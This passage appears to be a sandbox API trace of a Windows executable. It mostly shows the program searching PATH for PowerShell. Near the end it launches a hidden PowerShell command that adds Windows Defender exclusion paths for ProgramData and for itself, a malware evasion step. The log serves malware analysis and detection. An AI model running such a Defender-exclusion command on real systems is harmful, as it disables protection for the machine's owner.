out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.390] CreateFileW (lpFileName="C:\\Windows\\powershell.exe" (normalized: "c:\\windows\\powershell.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\powershell.bat" (normalized: "c:\\windows\\powershell.bat"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.390] CreateFileW (lpFileName="C:\\Windows\\powershell.bat" (normalized: "c:\\windows\\powershell.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\powershell.cmd" (normalized: "c:\\windows\\powershell.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.390] CreateFileW (lpFileName="C:\\Windows\\powershell.cmd" (normalized: "c:\\windows\\powershell.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.390] GetFileAttributesExW (in: lpFileName="C:\\Windows\\powershell.vbs" (normalized: "c:\\windows\\powershell.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.391] CreateFileW (lpFileName="C:\\Windows\\powershell.vbs" (normalized: "c:\\windows\\powershell.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.391] GetFileAttributesExW (in: lpFileName="C:\\Windows\\powershell.vbe" (normalized: "c:\\windows\\powershell.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.391] CreateFileW (lpFileName="C:\\Windows\\powershell.vbe" (normalized: "c:\\windows\\powershell.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.391] GetFileAttributesExW (in: lpFileName="C:\\Windows\\powershell.js" (normalized: "c:\\windows\\powershell.js"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.391] CreateFileW (lpFileName="C:\\Windows\\powershell.js" (normalized: "c:\\windows\\powershell.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.391] GetFileAttributesExW (in: lpFileName="C:\\Windows\\powershell.jse" (normalized: "c:\\windows\\powershell.jse"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.392] CreateFileW (lpFileName="C:\\Windows\\powershell.jse" (normalized: "c:\\windows\\powershell.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.392] GetFileAttributesExW (in: lpFileName="C:\\Windows\\powershell.wsf" (normalized: "c:\\windows\\powershell.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.392] CreateFileW (lpFileName="C:\\Windows\\powershell.wsf" (normalized: "c:\\windows\\powershell.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.392] GetFileAttributesExW (in: lpFileName="C:\\Windows\\powershell.wsh" (normalized: "c:\\windows\\powershell.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.392] CreateFileW (lpFileName="C:\\Windows\\powershell.wsh" (normalized: "c:\\windows\\powershell.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.392] GetFileAttributesExW (in: lpFileName="C:\\Windows\\powershell.msc" (normalized: "c:\\windows\\powershell.msc"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.392] CreateFileW (lpFileName="C:\\Windows\\powershell.msc" (normalized: "c:\\windows\\powershell.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.392] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.com" (normalized: "c:\\windows\\system32\\wbem\\powershell.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.392] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\powershell.com" (normalized: "c:\\windows\\system32\\wbem\\powershell.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.393] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.exe" (normalized: "c:\\windows\\system32\\wbem\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.393] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\powershell.exe" (normalized: "c:\\windows\\system32\\wbem\\powershell.exe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.393] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.bat" (normalized: "c:\\windows\\system32\\wbem\\powershell.bat"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.393] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\powershell.bat" (normalized: "c:\\windows\\system32\\wbem\\powershell.bat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.393] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.cmd" (normalized: "c:\\windows\\system32\\wbem\\powershell.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.393] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\powershell.cmd" (normalized: "c:\\windows\\system32\\wbem\\powershell.cmd"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.393] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.vbs" (normalized: "c:\\windows\\system32\\wbem\\powershell.vbs"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.393] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\powershell.vbs" (normalized: "c:\\windows\\system32\\wbem\\powershell.vbs"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.393] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.vbe" (normalized: "c:\\windows\\system32\\wbem\\powershell.vbe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.394] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\powershell.vbe" (normalized: "c:\\windows\\system32\\wbem\\powershell.vbe"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.394] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.js" (normalized: "c:\\windows\\system32\\wbem\\powershell.js"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.394] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\powershell.js" (normalized: "c:\\windows\\system32\\wbem\\powershell.js"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.394] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.jse" (normalized: "c:\\windows\\system32\\wbem\\powershell.jse"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.394] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\powershell.jse" (normalized: "c:\\windows\\system32\\wbem\\powershell.jse"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.394] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.wsf" (normalized: "c:\\windows\\system32\\wbem\\powershell.wsf"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.394] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\powershell.wsf" (normalized: "c:\\windows\\system32\\wbem\\powershell.wsf"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.394] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.wsh" (normalized: "c:\\windows\\system32\\wbem\\powershell.wsh"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.394] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\powershell.wsh" (normalized: "c:\\windows\\system32\\wbem\\powershell.wsh"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.394] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\powershell.msc" (normalized: "c:\\windows\\system32\\wbem\\powershell.msc"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.394] CreateFileW (lpFileName="C:\\Windows\\System32\\Wbem\\powershell.msc" (normalized: "c:\\windows\\system32\\wbem\\powershell.msc"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.395] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.com" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.com"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0202.396] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.com" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.com"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffffffffffff [0202.396] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf568 | out: lpFileInformation=0xc000adf568*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359c88a6, ftCreationTime.dwHighDateTime=0x1d5acde, ftLastAccessTime.dwLowDateTime=0x7e7cc44c, ftLastAccessTime.dwHighDateTime=0x1da42d2, ftLastWriteTime.dwLowDateTime=0x359c88a6, ftLastWriteTime.dwHighDateTime=0x1d5acde, nFileSizeHigh=0x0, nFileSizeLow=0x6e800)) returned 1 [0202.396] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744e40*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744e40*, lpNumberOfCharsWritten=0xc000adf530*=0x9) returned 1 [0202.407] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744e58*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744e58*, lpNumberOfCharsWritten=0xc000adf530*=0x9) returned 1 [0202.421] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744e70*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744e70*, lpNumberOfCharsWritten=0xc000adf530*=0x9) returned 1 [0202.435] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744e88*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744e88*, lpNumberOfCharsWritten=0xc000adf530*=0x9) returned 1 [0202.466] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744ea0*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744ea0*, lpNumberOfCharsWritten=0xc000adf530*=0x9) returned 1 [0202.474] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744eb8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744eb8*, lpNumberOfCharsWritten=0xc000adf530*=0x9) returned 1 [0202.481] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744ed0*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744ed0*, lpNumberOfCharsWritten=0xc000adf530*=0x9) returned 1 [0202.489] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0xc000744ee8*, nNumberOfCharsToWrite=0x9, lpNumberOfCharsWritten=0xc000adf530, lpReserved=0x0 | out: lpBuffer=0xc000744ee8*, lpNumberOfCharsWritten=0xc000adf530*=0x9) returned 1 [0202.500] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0xc000a2d040, nSize=0x64 | out: lpBuffer="") returned 0x35 [0202.500] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0xc000adf3d8 | out: lpFileInformation=0xc000adf3d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x359c88a6, ftCreationTime.dwHighDateTime=0x1d5acde, ftLastAccessTime.dwLowDateTime=0x7e7cc44c, ftLastAccessTime.dwHighDateTime=0x1da42d2, ftLastWriteTime.dwLowDateTime=0x359c88a6, ftLastWriteTime.dwHighDateTime=0x1d5acde, nFileSizeHigh=0x0, nFileSizeLow=0x6e800)) returned 1 [0202.500] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000001, hTemplateFile=0x0) returned 0x35c [0202.500] GetConsoleMode (in: hConsoleHandle=0x35c, lpMode=0xc000adf814 | out: lpMode=0xc000adf814) returned 0 [0202.501] GetFileType (hFile=0x35c) returned 0x2 [0202.501] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x358 [0202.501] GetConsoleMode (in: hConsoleHandle=0x358, lpMode=0xc000adf814 | out: lpMode=0xc000adf814) returned 0 [0202.501] GetFileType (hFile=0x358) returned 0x2 [0202.501] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x360 [0202.501] GetConsoleMode (in: hConsoleHandle=0x360, lpMode=0xc000adf7dc | out: lpMode=0xc000adf7dc) returned 0 [0202.502] GetFileType (hFile=0x360) returned 0x2 [0202.502] GetEnvironmentStringsW () returned 0x15bae0* [0202.502] FreeEnvironmentStringsW (penv=0x15bae0) returned 1 [0202.502] RtlGetNtVersionNumbers () returned 0xf0004a61 [0202.502] GetCurrentProcess () returned 0xffffffffffffffff [0202.502] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x35c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc0007450e0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc0007450e0*=0x364) returned 1 [0202.502] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x358, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc0007450e8, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc0007450e8*=0x368) returned 1 [0202.502] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x360, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xc0007450f0, dwDesiredAccess=0x0, bInheritHandle=1, dwOptions=0x2 | out: lpTargetHandle=0xc0007450f0*=0x36c) returned 1 [0202.502] InitializeProcThreadAttributeList (in: lpAttributeList=0x0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc000adf5b8 | out: lpAttributeList=0x0, lpSize=0xc000adf5b8) returned 0 [0202.502] InitializeProcThreadAttributeList (in: lpAttributeList=0xc00074b9a0, dwAttributeCount=0x2, dwFlags=0x0, lpSize=0xc000adf5b8 | out: lpAttributeList=0xc00074b9a0, lpSize=0xc000adf5b8) returned 1 [0202.502] UpdateProcThreadAttribute (in: lpAttributeList=0xc00074b9a0, dwFlags=0x0, Attribute=0x20002, lpValue=0xc0007450e0, cbSize=0x18, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xc00074b9a0, lpPreviousValue=0x0) returned 1 [0202.503] CreateProcessW (in: lpApplicationName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpCommandLine="powershell -WindowStyle hidden -Command \"Add-MpPreference -ExclusionPath \\\"C:\\ProgramData\\\";\" powershell -WindowStyle hidden -Command \"Add-MpPreference -ExclusionPath \\\"C:\\Users\\OqXZRaykm\\Desktop\\project.exe\\\"\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80400, lpEnvironment=0xc000021800, lpCurrentDirectory=0x0, lpStartupInfo=0xc000adf7c8*(cb=0x70, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x364, hStdOutput=0x368, hStdError=0x36c), lpProcessInformation=0xc000adf6a8 | out: lpCommandLine="powershell -WindowStyle hidden -Command \"Add-MpPreference -ExclusionPath \\\"C:\\ProgramData\\\";\" powershell -WindowStyle hidden -Command \"Add-MpPreference -ExclusionPath \\\"C:\\Users\\OqXZRaykm\\Desktop\\project.exe\\\"\"", lpProcessInformation=0xc000adf6a8*(hProcess=0x374, hThread=0x370, dwProcessId=0x1368, dwThreadId=0xbd4)) returned 1 [0202.528] CloseHandle (hObject=0x370) returned 1 [0202.528] DeleteProcThreadAttributeList (in: lpAttributeList=0xc00074b9a0 | out: lpAttributeList=0xc00074b9a0) [0202.528] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x36c, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0202.528] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x368, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1 [0202.528] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x364, 